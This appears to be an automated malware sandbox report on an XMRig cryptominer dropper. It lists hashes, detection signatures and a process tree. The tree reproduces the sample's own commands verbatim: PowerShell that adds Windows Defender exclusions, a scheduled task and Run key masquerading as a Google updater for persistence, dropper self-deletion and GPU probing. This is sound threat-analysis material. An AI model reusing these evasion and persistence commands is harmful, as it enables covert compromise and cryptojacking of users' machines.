Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw17wshhcj 1024/12/2023, 12:16
231224-pfqxjsebf4 1007/09/2023, 19:19
230907-x1nxpadd73 1007/09/2023, 19:17
230907-xzs51sdd58 1028/08/2023, 15:19
230828-sqkeasca82 1026/08/2023, 15:20
230826-sqw34add2s 1020/08/2023, 00:23
230820-apgynscg55 10Analysis
-
max time kernel
1801s -
max time network
1792s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
28/08/2023, 15:19
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20230712-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20230712-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20230712-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20230712-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20230712-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20230712-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20230712-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20230712-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20230703-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20230712-en
General
-
Target
RmJBfzgfbWELMdgn.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2960 created 3144 2960 RmJBfzgfbWELMdgn.exe 46 PID 2960 created 3144 2960 RmJBfzgfbWELMdgn.exe 46 PID 2960 created 3144 2960 RmJBfzgfbWELMdgn.exe 46 PID 2960 created 3144 2960 RmJBfzgfbWELMdgn.exe 46 PID 2012 created 3144 2012 updater.exe 46 PID 2012 created 3144 2012 updater.exe 46 PID 2012 created 3144 2012 updater.exe 46 PID 2012 created 3144 2012 updater.exe 46 PID 3760 created 3144 3760 conhost.exe 46 PID 2012 created 3144 2012 updater.exe 46 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral4/memory/3680-131-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-132-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-136-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-140-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-142-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-144-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-146-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-148-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-150-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-152-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-154-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-156-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-158-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-160-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-162-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-164-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-166-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-168-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-170-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-172-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-174-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-176-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-178-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-180-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-182-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-184-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-186-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-188-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig behavioral4/memory/3680-190-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2012 updater.exe -
resource yara_rule behavioral4/memory/3680-126-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-131-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-132-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-136-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-140-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-142-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-144-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-146-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-148-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-150-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-152-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-154-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-156-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-158-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-160-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-162-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-164-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-166-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-168-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-170-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-172-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-174-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-176-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-178-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-180-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-182-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-184-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-186-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-188-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx behavioral4/memory/3680-190-0x00007FF6E97C0000-0x00007FF6E9FB4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2012 set thread context of 3760 2012 updater.exe 105 PID 2012 set thread context of 3680 2012 updater.exe 111 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe RmJBfzgfbWELMdgn.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3664 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 2960 RmJBfzgfbWELMdgn.exe 2960 RmJBfzgfbWELMdgn.exe 1352 powershell.exe 1352 powershell.exe 2960 RmJBfzgfbWELMdgn.exe 2960 RmJBfzgfbWELMdgn.exe 1704 powershell.exe 1704 powershell.exe 2960 RmJBfzgfbWELMdgn.exe 2960 RmJBfzgfbWELMdgn.exe 2960 RmJBfzgfbWELMdgn.exe 2960 RmJBfzgfbWELMdgn.exe 232 powershell.exe 232 powershell.exe 2012 updater.exe 2012 updater.exe 4960 powershell.exe 4960 powershell.exe 2012 updater.exe 2012 updater.exe 820 powershell.exe 820 powershell.exe 2012 updater.exe 2012 updater.exe 2012 updater.exe 2012 updater.exe 3760 conhost.exe 3760 conhost.exe 2012 updater.exe 2012 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 660 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1352 powershell.exe Token: SeDebugPrivilege 1704 powershell.exe Token: SeIncreaseQuotaPrivilege 1704 powershell.exe Token: SeSecurityPrivilege 1704 powershell.exe Token: SeTakeOwnershipPrivilege 1704 powershell.exe Token: SeLoadDriverPrivilege 1704 powershell.exe Token: SeSystemProfilePrivilege 1704 powershell.exe Token: SeSystemtimePrivilege 1704 powershell.exe Token: SeProfSingleProcessPrivilege 1704 powershell.exe Token: SeIncBasePriorityPrivilege 1704 powershell.exe Token: SeCreatePagefilePrivilege 1704 powershell.exe Token: SeBackupPrivilege 1704 powershell.exe Token: SeRestorePrivilege 1704 powershell.exe Token: SeShutdownPrivilege 1704 powershell.exe Token: SeDebugPrivilege 1704 powershell.exe Token: SeSystemEnvironmentPrivilege 1704 powershell.exe Token: SeRemoteShutdownPrivilege 1704 powershell.exe Token: SeUndockPrivilege 1704 powershell.exe Token: SeManageVolumePrivilege 1704 powershell.exe Token: 33 1704 powershell.exe Token: 34 1704 powershell.exe Token: 35 1704 powershell.exe Token: 36 1704 powershell.exe Token: SeIncreaseQuotaPrivilege 1704 powershell.exe Token: SeSecurityPrivilege 1704 powershell.exe Token: SeTakeOwnershipPrivilege 1704 powershell.exe Token: SeLoadDriverPrivilege 1704 powershell.exe Token: SeSystemProfilePrivilege 1704 powershell.exe Token: SeSystemtimePrivilege 1704 powershell.exe Token: SeProfSingleProcessPrivilege 1704 powershell.exe Token: SeIncBasePriorityPrivilege 1704 powershell.exe Token: SeCreatePagefilePrivilege 1704 powershell.exe Token: SeBackupPrivilege 1704 powershell.exe Token: SeRestorePrivilege 1704 powershell.exe Token: SeShutdownPrivilege 1704 powershell.exe Token: SeDebugPrivilege 1704 powershell.exe Token: SeSystemEnvironmentPrivilege 1704 powershell.exe Token: SeRemoteShutdownPrivilege 1704 powershell.exe Token: SeUndockPrivilege 1704 powershell.exe Token: SeManageVolumePrivilege 1704 powershell.exe Token: 33 1704 powershell.exe Token: 34 1704 powershell.exe Token: 35 1704 powershell.exe Token: 36 1704 powershell.exe Token: SeIncreaseQuotaPrivilege 1704 powershell.exe Token: SeSecurityPrivilege 1704 powershell.exe Token: SeTakeOwnershipPrivilege 1704 powershell.exe Token: SeLoadDriverPrivilege 1704 powershell.exe Token: SeSystemProfilePrivilege 1704 powershell.exe Token: SeSystemtimePrivilege 1704 powershell.exe Token: SeProfSingleProcessPrivilege 1704 powershell.exe Token: SeIncBasePriorityPrivilege 1704 powershell.exe Token: SeCreatePagefilePrivilege 1704 powershell.exe Token: SeBackupPrivilege 1704 powershell.exe Token: SeRestorePrivilege 1704 powershell.exe Token: SeShutdownPrivilege 1704 powershell.exe Token: SeDebugPrivilege 1704 powershell.exe Token: SeSystemEnvironmentPrivilege 1704 powershell.exe Token: SeRemoteShutdownPrivilege 1704 powershell.exe Token: SeUndockPrivilege 1704 powershell.exe Token: SeManageVolumePrivilege 1704 powershell.exe Token: 33 1704 powershell.exe Token: 34 1704 powershell.exe Token: 35 1704 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3084 wrote to memory of 3484 3084 cmd.exe 97 PID 3084 wrote to memory of 3484 3084 cmd.exe 97 PID 232 wrote to memory of 3600 232 powershell.exe 98 PID 232 wrote to memory of 3600 232 powershell.exe 98 PID 2012 wrote to memory of 3760 2012 updater.exe 105 PID 4904 wrote to memory of 3664 4904 cmd.exe 107 PID 4904 wrote to memory of 3664 4904 cmd.exe 107 PID 2012 wrote to memory of 3680 2012 updater.exe 111
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3144
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C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1704
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RmJBfzgfbWELMdgn.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3084 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:232 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3600
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:820
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3760
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2556
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4904
